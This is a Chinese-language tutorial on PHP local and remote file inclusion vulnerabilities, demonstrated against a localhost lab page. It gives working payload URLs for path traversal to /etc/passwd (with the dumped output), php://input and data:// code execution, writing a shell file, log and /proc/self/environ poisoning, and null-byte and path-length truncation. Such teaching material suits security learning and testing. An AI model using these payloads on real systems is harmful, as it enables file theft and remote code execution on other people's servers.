文件包含漏洞
简介
程序在引入文件时,引用的文件名用户可控,传入的文件名没有经过合理的校验,导致用户可以操作预计文件之外的文件,就有可能导致文件泄露和恶意代码的注入。
本地文件包含漏洞
被包含的文件在服务器本地
简单例子:
http://127.0.0.1/include/file.php?file=../../../../etc/passwd
页面显示
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false saned:x:108:115::/home/saned:/bin/false whoopsie:x:109:116::/nonexistent:/bin/false speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false webper:x:1000:1000:webper,,,:/home/webper:/bin/bash mysql:x:116:125:MySQL Server,,,:/nonexistent:/bin/false sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
本地文件包含漏洞利用
-
利用上传图片,包含图片 getshell,图片也是作为php执行的
-
读取文件,读取php源码
-
包含日志文件getshell
需要较高的权限
抓包修改User-Ageny:内容为php代码,这样日志文件中就写入了php代码,拥有较高权限时,利用包含漏洞就可以执行日志中的php代码
-
包含proc/self/environ 文件getshell
同上日志文件
-
phpinfo 包含临时文件
-
伪协议:data://或者php://等(php>5.0时,须配置 allow_url_include=On)
// php://input http://127.0.0.1/include/file01.php?file=php://input post data:<?php phpinfo();?> // 结果显示phpinfo页面 // 要getshell可以把post data内容换为 <?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>")?> (也是需要权限的) // php://filter: http://127.0.0.1/include/file01.php?file=php://filter/read=convert.base64-encode/resource=file01.php //结果 PGh0bWw+DQo8aGVhZD4NCgkgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KCSA8dGl0bGU+5paH5Lu25YyF5ZCr5ryP5rSePC90aXRsZT4NCg0KPC9oZWFkPg0KPGJvZHk+DQo8YnI+DQoNCjw/cGhwDQokZmlsZW5hbWUgPSBpc3NldCgkX0dFVFsnZmlsZSddKT8kX0dFVFsnZmlsZSddOidmaWxlLnR4dCc7DQoNCmluY2x1ZGUgJGZpbGVuYW1lOw0KPz4NCg0KDQo8L2JvZHk+DQo8L2h0bWw+DQo= //解密后 <html> <head> <meta charset="UTF-8"> <title>文件包含漏洞</title> </head> <body> <br> <?php $filename = isset($_GET['file'])?$_GET['file']:'file.txt'; include $filename; ?> </body> </html>
-
data://
**data://**是一种数据流封装器,data://URL schema(URL schema可以史很多形式)
需要 php > 5.2 ,allow_url_include=On
http://127.0.0.1/include/file01.php?file=data:text/plain,<?php system(whoami)?>
或
http://127.0.0.1/include/file01.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==
结果
www-data
- 远程包含
http://127.0.0.1/include/file01.php?file=127.0.0.1/x.txt
x.txt内容也会被当作php代码执行,直接访问地址只显示文本,txt文件最好
文件包含截断
- 00截断
00字符截断,php<5.3.4(需要magic_quotes_gpc=off)
/etc/passwd
/etc/etcpasswd%00
- 超长文件截断
php<5.2.8,linux文件名长度大于4096字节,windows大于256字节
利用的是操作系统对目录最大长度限制
截断的字符
.
,/.
,重复>256次或重复>4096次
使用burp抓包,Intruder->character blocks
- 问号截断
适用于远程截断
php>=5.3
allow_url_fopen On
allow_url_include On
http://127.0.0.1/include/file02.php?file=http://127.0.0.1/include/file.jpg?